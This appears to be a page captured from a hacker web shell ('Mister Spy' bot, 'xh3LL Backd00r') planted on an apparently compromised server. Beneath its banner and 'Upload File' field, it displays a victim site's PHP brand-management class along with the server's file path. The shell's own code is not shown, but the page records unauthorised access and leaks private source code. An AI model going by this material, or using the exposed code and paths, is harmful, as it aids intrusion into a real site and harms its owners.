Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.marcas.php

<?php 

require_once('class.dbaccess.php');
require_once('class.marca.php');
require_once('class.filter.php');
require_once('class.page.php');
require_once('class.estados.php');

class Marcas extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = ' WHERE 1';
		
		if ((isset($filter['Nombre'])) && ($filter['Nombre'] != ''))
		{
			$sql.= " AND Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		}
		
		if ((isset($filter['IdEstado'])) && ($filter['IdEstado'] != ''))
		{	
			$sql.= " AND IdEstado = " . DB::Number($filter['IdEstado']);
		}		
		
		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblMarcas";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oMarca = new Marca();
			$oMarca->ParseFromArray($oRow);
			
			array_push($arr, $oMarca);
			
			$oRes->MoveNext();
		}

		return $arr;
	}
	

	public function GetById($IdMarca)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblMarcas";
		$sql.= " WHERE IdMarca = " . DB::Number($IdMarca);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oMarca = new Marca();
		$oMarca->ParseFromArray($oRow);
		
		return $oMarca;		
	}
	

	public function GetByNombre($Nombre)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblMarcas";
		$sql.= " WHERE Nombre LIKE " . DB::String($Nombre);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oMarca = new Marca();
		$oMarca->ParseFromArray($oRow);
		
		return $oMarca;		
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblMarcas";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(Marca $oMarca)
	{
		$arr = array
		(
			'Nombre' 	=> DB::String($oMarca->Nombre),
			'Url'	 	=> DB::String($oMarca->Url),
			'Imagen' 	=> DB::String($oMarca->Imagen),
			'IdEstado' 	=> DB::Number($oMarca->IdEstado)
		);
		
		if (!$this->Insert('tblMarcas', $arr))
			return false;
			
		return $oMarca;
	}
	
	
	public function Update(Marca $oMarca)
	{
		$where = " IdMarca = " . DB::Number($oMarca->IdMarca);
		
		$arr = array
		(
			'Nombre' 	=> DB::String($oMarca->Nombre),
			'Url'	 	=> DB::String($oMarca->Url),
			'Imagen' 	=> DB::String($oMarca->Imagen),
			'IdEstado' 	=> DB::Number($oMarca->IdEstado)
		);
		
		if (!DBAccess::UpdateEntidad('tblMarcas', $arr, $where))
			return false;
		
		return $oMarca;
	}
	

	public function UpdateChecks(Marca $oMarca)
	{
		if (!DBAccess::$db->Begin())
			return false;

		$where = " IdMarca = " . DB::Number($oMarca->IdMarca);
		
		$arr = array('IdEstado' => DB::Number($oMarca->IdEstado));
		
		if (!DBAccess::UpdateEntidad('tblMarcas', $arr, $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}
			
		DBAccess::$db->Commit();
			
		return $oMarca;
	}


	public function Delete($IdMarca)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdMarca = " . DB::Number($IdMarca);
		if (!DBAccess::DeleteEntidad('tblMarcas', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}		
	
	
	public function ExportCsv(array $filter = NULL)
	{
		if (!DBAccess::$db->Begin())		
			return false;
		
		$FileName = "Marcas.xls";
		
		header("Pragma: no-cache");
		header("Expires: -1");
		header("Cache-Control: no-store, no-cache, must-revalidate");		
		header("Content-Type: application/x-unknown");
		$header = "Content-Disposition: attachment; filename=" . $FileName . ";";
		header($header);
			
		$arrMarcas = $this->GetAll($filter);
				
		$Separador 	= "\t";
		$SaltoLinea = "\n";
				
		$csv.= "Marca";
		$csv.= $Separador;
		$csv.= "Url";
		$csv.= $Separador;		
		$csv.= "Disponible";
		$csv.= $SaltoLinea;
	
		foreach ($arrMarcas as $oMarca)
		{
			$csv.= str_replace('(\t|\n)','', trim($oMarca->Nombre));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oMarca->Url));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim(Estados::GetById($oMarca->IdEstado)));
			$csv.= $Separador;
			
			$csv.= $SaltoLinea;			
		}		
		
		DBAccess::$db->Commit();

		print($csv);
		
		return true;	
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat